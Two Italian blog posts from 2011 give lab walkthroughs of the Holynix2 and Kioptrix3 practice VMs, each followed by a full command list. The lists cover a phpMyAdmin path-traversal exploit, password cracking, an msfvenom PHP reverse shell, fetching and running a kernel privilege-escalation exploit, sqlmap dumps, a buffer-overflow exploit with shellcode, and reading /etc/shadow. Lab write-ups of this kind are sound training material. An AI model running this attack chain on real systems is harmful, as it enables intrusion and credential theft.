mercoledì 21 settembre 2011

BackBox2 vs Holynix2

Mi sono di nuovo cimentato in un nuovo pentest su una live distro specificamente adattata per realizzare questi tutorial. Holynix è arrivata da tempo alla versione 2, avevo già risolto una volta questa distro, ma adesso l'ho rifatta per creare il video...



Come sempre un ringraziamento a g0tmi1k, e qui trovate il suo tutorial.

In questo video non spiegherò come l'altro i passaggi più elementari, perchè si possono imparare dagli altri video da me caricati che spiegano anche questi primi passaggi... Partirò già dall'identificazione dei servizi presenti sulla macchina... Ogni volta che la porta 80 è open, si deve fare un salto sulla pagina del webserver per scoprire informazioni... E proprio qui si notano i due diversi indirizzi presenti... E come è strutturata la richiesta per accedere ai file personali via ftp... Quindi passiamo a "scavare" con dig nelle informazioni che il dns ci fornisce... Infatti la porta 53 è aperta... Scopriamo subito che il secondo indirizzo ha un ip diverso... Settata l'ip dell'attacker sull'indirizzo di quella macchina, riproviamo con dig e proviamo ad effettuare un Transfer Zone da cui ricaviamo l'ip di un'altra macchina riconosciuta come "trusted", sicura o fidata... Risettiamo quindi l'ip con quest'ultimo a nostra disposizione...

Affidandoci a DirBuster(non presente sulla distrubuzione BackBox2, ma facilmente installabile con 2 comandi) possiamo realizzare un attacco brute force per scovare eventuali cartelle o file generici... Ed in contemporanea lanciamo nikto per scoprire un po' più informazioni sul webserver... DirBuster e nikto ci danno importanti informazioni... Troviamo un file che spiega come aggiornare l'ftp per un nuovo utente, ed in più troviamo phpMyAdmin che ci fornisce la versione di quest'ultimo e ci consente di sfruttare una sua vulnerabilità per elencare il contenuto di un file in modo remoto... Molto semplicemente cercando su exploit-db o sul relativo pacchetto scaricato(anch'esso non presente di default sulla distribuzione, ma molto facile da sistemare) possiamo utilizzare un exploit in perl per elencare il contentuto di /etc/passwd(non troppo utile in questo caso) e del file di configurazione trovato prima grazie a DirBuster... E proprio questo sarà dato a John The Ripper per trovare tramite attacco con wordlist le password associate ad ogni utente... A noi ne basta una, e con questa ci colleghiamo sul server ftp...

Dentro al server ftp possiamo caricare una nostra shell in php ed utilizzare msf per prender controllo della macchina... Adesso che abbiamo una shell dobbiamo scalare i privilegi... Con il comando uname -a troviamo la versione precisa del kernel... Sempre con il database di exploitdb possiamo trovare un Local Privileges Escalation relativo a questo kernel, quindi copiarlo avviando il nostro server http, copiandolo con wget sulla macchina da compromettere, compilarlo ed infine avviarlo per trovarci finalmente root...


Comandi
 
nmap -sP -n 192.168.1.*
nmap -sS -sV -n -O 192.168.1.88
firefox 192.168.1.88
echo "192.168.1.88 zincftp.com" >> /etc/hosts
cat /etc/hosts
dig zincftp.com @192.168.1.88
dig AXFR zincftp.com @192.168.1.88
geany /etc/resolv.conf
ifconfig eth0 192.168.1.89
dig AXFR zincftp.com @192.168.1.88
ifconfig eth0 192.168.1.34
cd /backbox/web/DirBuster-1.0-RC1
./DirBuster-1.0-RC1.sh #seguire il video per come settare DirBuster
nikto -host 'http://192.168.1.88'
firefox http://192.168.1.88/setup_guides/todo #oppure direttamente da DirBuster
firefox http://192.168.1.88/phpMyAdmin/ #oppure direttamente da DirBuster
cd /backbox/exploit/exploitdb/
grep -i phpmyadmin files.csv
cp platforms/php/webapps/1244.pl /tmp/
cd /tmp/
perl 1244.pl http://192.168.1.88 /phpMyAdmin/ ../../../../../etc/passwd | grep /bin/sh | cut -d ":" -f1 > /tmp/passwd
perl 1244.pl http://192.168.1.88 /phpMyAdmin/ ../../../../../etc/pure-ftpd/pureftpd.passwd | cut -d ":" -f1-2 > /tmp/ftpuser #nel video ho commesso un errore
cd /baxkbox/privilege_escalation/
./john --wordlist=/opt/metasploit3/msf3/data/john/wordlists/password.lst --rules /tmp/ftpuser
ftp 192.168.1.88#user:tmartin pass:millionaire
cd web
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.34 LPORT=31337 -f raw > link.php
mv link.php /tmp/
put link.php#dentro alla shell dell'ftp
msfcli multi/handler PAYLOAD=php/meterpreter/reverse_tcp LHOST=192.168.1.34 LPORT=31337 E
curl tmartin.zincftp.com/link.php
sysinfo
shell
python -c 'import pty;pty.spawn("/bin/sh")'
id
cd /home
ls -lahR
cd /home/amckinley
cat my_key.eml
cat /etc/passwd | grep amckinley
ssh amckinley@192.168.1.88 #pass: agustinmckinley2ba9
id
uname -a
cd /backbox/exploit/exploitdb/
grep -i "kernel 2.6" files.csv
cp platforms/linux/local/5092.c /tmp
mv /tmp/5092.c /var/www/
chmod 777 /var/www/5092.c
cd /tmp/
wget http://192.168.1.34/5092.c
gcc -o exploit 5092.c
./exploit
id
Commenti
Nel video ho commesso alcuni errori che nei comandi non sono presenti... Mi ero dimenticato di dare i permessi al file, oppure altri errori che sono stati tagliati dal video...Niente di che insomma...

Ringrazio questo articolo su pentestmonkey dove sono visualizzati alcuni metodi per ottenere una shell... 

giovedì 8 settembre 2011

Kioptrix3 - First Buffer Overflow


Kioptrix3 è la nuova VirtualMachine che ha come scopo al solito l'acquisizione della macchina. Questa volta ho deciso di provare backbox2, una distro rilasciata da poco di cui apprezzo molto la leggerezza estetica... BackTrack 5 è troppo scura, troppo forte secondo me... Devo dire che indubbiamente BackTrack ha un numero infinito di tools, che a volte si rivela utile... Una mancanza che ho notato su BackBox2 è la mancanza del database di exploit-db... E' comodo usarlo, soprattt se si ottengono dei risultati e non serve fare ricerche più approfondite... Kioptrix3 ha almeno 2 soluzioni... Se non di più... Una soluzione molto elegante la da g0tmi1k sul suo blog:

Kioptrix3 g0tmi1k

La sua soluzione mi ha come al solito aiutato molto... Ma un altro video mi ha deciso di capire qualcosa di più sul buffer overflow... Il link è stato sempre fornito da g0tmi1k:

Soluzione di Swappage

La sua soluzione mi ha molto aiutato... Penso che lo script sia presente anche in exploit-db, ma farselo da sé aiuta a comprendere i meccanismi base sul BOF... Dico base, perchè ormai nessuna distribuzione ha l'ASLR disattivato di default... Ed il kernel linux 2.6 ce l'ha di default attivo... Qui è stato disabilitato ovviamente perchè queste distro sono fatte per divertirsi, un qualche modo per effettuare un privileges escalation... Non che l'ASLR sia inattaccabile, ma certo richiede molto più tempo per comprenderlo...

Ormai non spiego più i primi passaggi di identificazione della macchina e dei suoi servizi... Rileggete i primi post di pentesting e là sono spiegati... Una particolarità in più questa volta kioptrix la richiede... Aggiungere al file /etc/hosts  ip kioptrix3.com... Perchè il servizio web lo richiede... Ma nulla di più...

Aperto firefox si nota che è stata aggiunta una galleria foto... Gallarific permette di creare gallerie fotografiche facilmente in PHP... Ma cercando un exploit per questo servizio si trova una sql injection... Quindi si può passare a sqlmap il sito e vedere se si riesce a tirar fuori qualcosa... Con pochi comandi troviamo user e password di un utente... Che probabilmente sono gli stessi associati all'ssh(errore comune)... Quindi ci logghiamo al sistema tramite ssh...

Adesso avremmo due strade, o procedere come g0tmi1k, oppure effettuare un BOF e scalare i privilegi... Con GDB e OBJDUMP riusciamo a scoprire tutti i dati necessari... Con i tool forniti da metasploit riusciamo a trovare il numero esatto di "A" che vanno a scrivere l'eip(in questo caso dal caratter 4091 escluso a 4095, i 4 byte necessari)... Quindi nello script python forniamo appunto un buffer iniziale da passare ad ht insieme al nostro jmp esp, seguito da un numero di NOPS e poi la nostra shellcode...

Per creare la shellcode si può usare tranquillamente msfconsole... Ancora non ho imparato ad usare tutti i tool di metasploit... Probabilmente potevo evitare di caricare msfconsole... Ma vabbè... Con msfconsole, un suo payload generiamo in ASCII anche il codice per lo shellcode... Nel video ovviamente ho fatto qualche errore, qualcuno dovuto a distrazione...

Il video dura molto poco, ho inserito solo la soluzione finale, avevo giò fatto il tutto un'altra volta, quindi mi ero anche scritto i passaggi, andavo a colpo sicuro...


ps:ho ancora alcune lacune sui nops da mettere... Devo capirlo ancora bene bene...

ps2:non ho inserito tutti i comandi di nano, guardando il video si capisce però cos'ho fatto... Ed alla fine, avevo dimenticato appunto un = allo shellcode, ma si capiva dall'errore restituito...


Comandi
 
echo 192.168.1.130 kioptrix3.com >> /etc/hosts
nmap -sP -n 192.168.1.*
nmap -sS -sV -n -O 192.168.1.130
firefox 192.168.1.130
cd /backbox/exploit/exploitdb/

grep -i gallarific files.csv
cat platforms/php/webapps/15891.txt
clear
cd ~
sqlmap -u 'http://kioptrix3.com/gallery/gallery.php?id=null'
sqlmap -u 'http://kioptrix3.com/gallery/gallery.php?id=null' --tables
sqlmap -u 'http://kioptrix3.com/gallery/gallery.php?id=null' -D gallery --dump
clear
ssh loneferret@192.168.1.130 passwd:starwars
id
clear
sudo -l
cat /proc/sys/kernel/randomize_va_space
clear
gdb /usr/local/bin/ht
run $(python -c 'print "\x41"*4400')
i r
q
reset
cd /opt/metasploit3/msf3/tools/
./pattern_create.rb 4400
 nano exploit.py Ctrl+O Ctrl+X
gdb /usr/local/bin/ht
run $(python exploit.py)
i r
q
reset

./pattern_offset.rb 0x34674633
 nano exploit.py Ctrl+O Ctrl+X
msfconsole
use payload/linux/x86/exec
set CMD /bin/bash
set encoder x86/alpha_mixed
generate
objdump -D /usr/local/bin/ht | grep jmp | grep esp
 nano exploit.py Ctrl+O Ctrl+X
clear
id
sudo ht $(python exploit.py)
id
whoami
cat /etc/shadow
cat /etc/shadow | grep root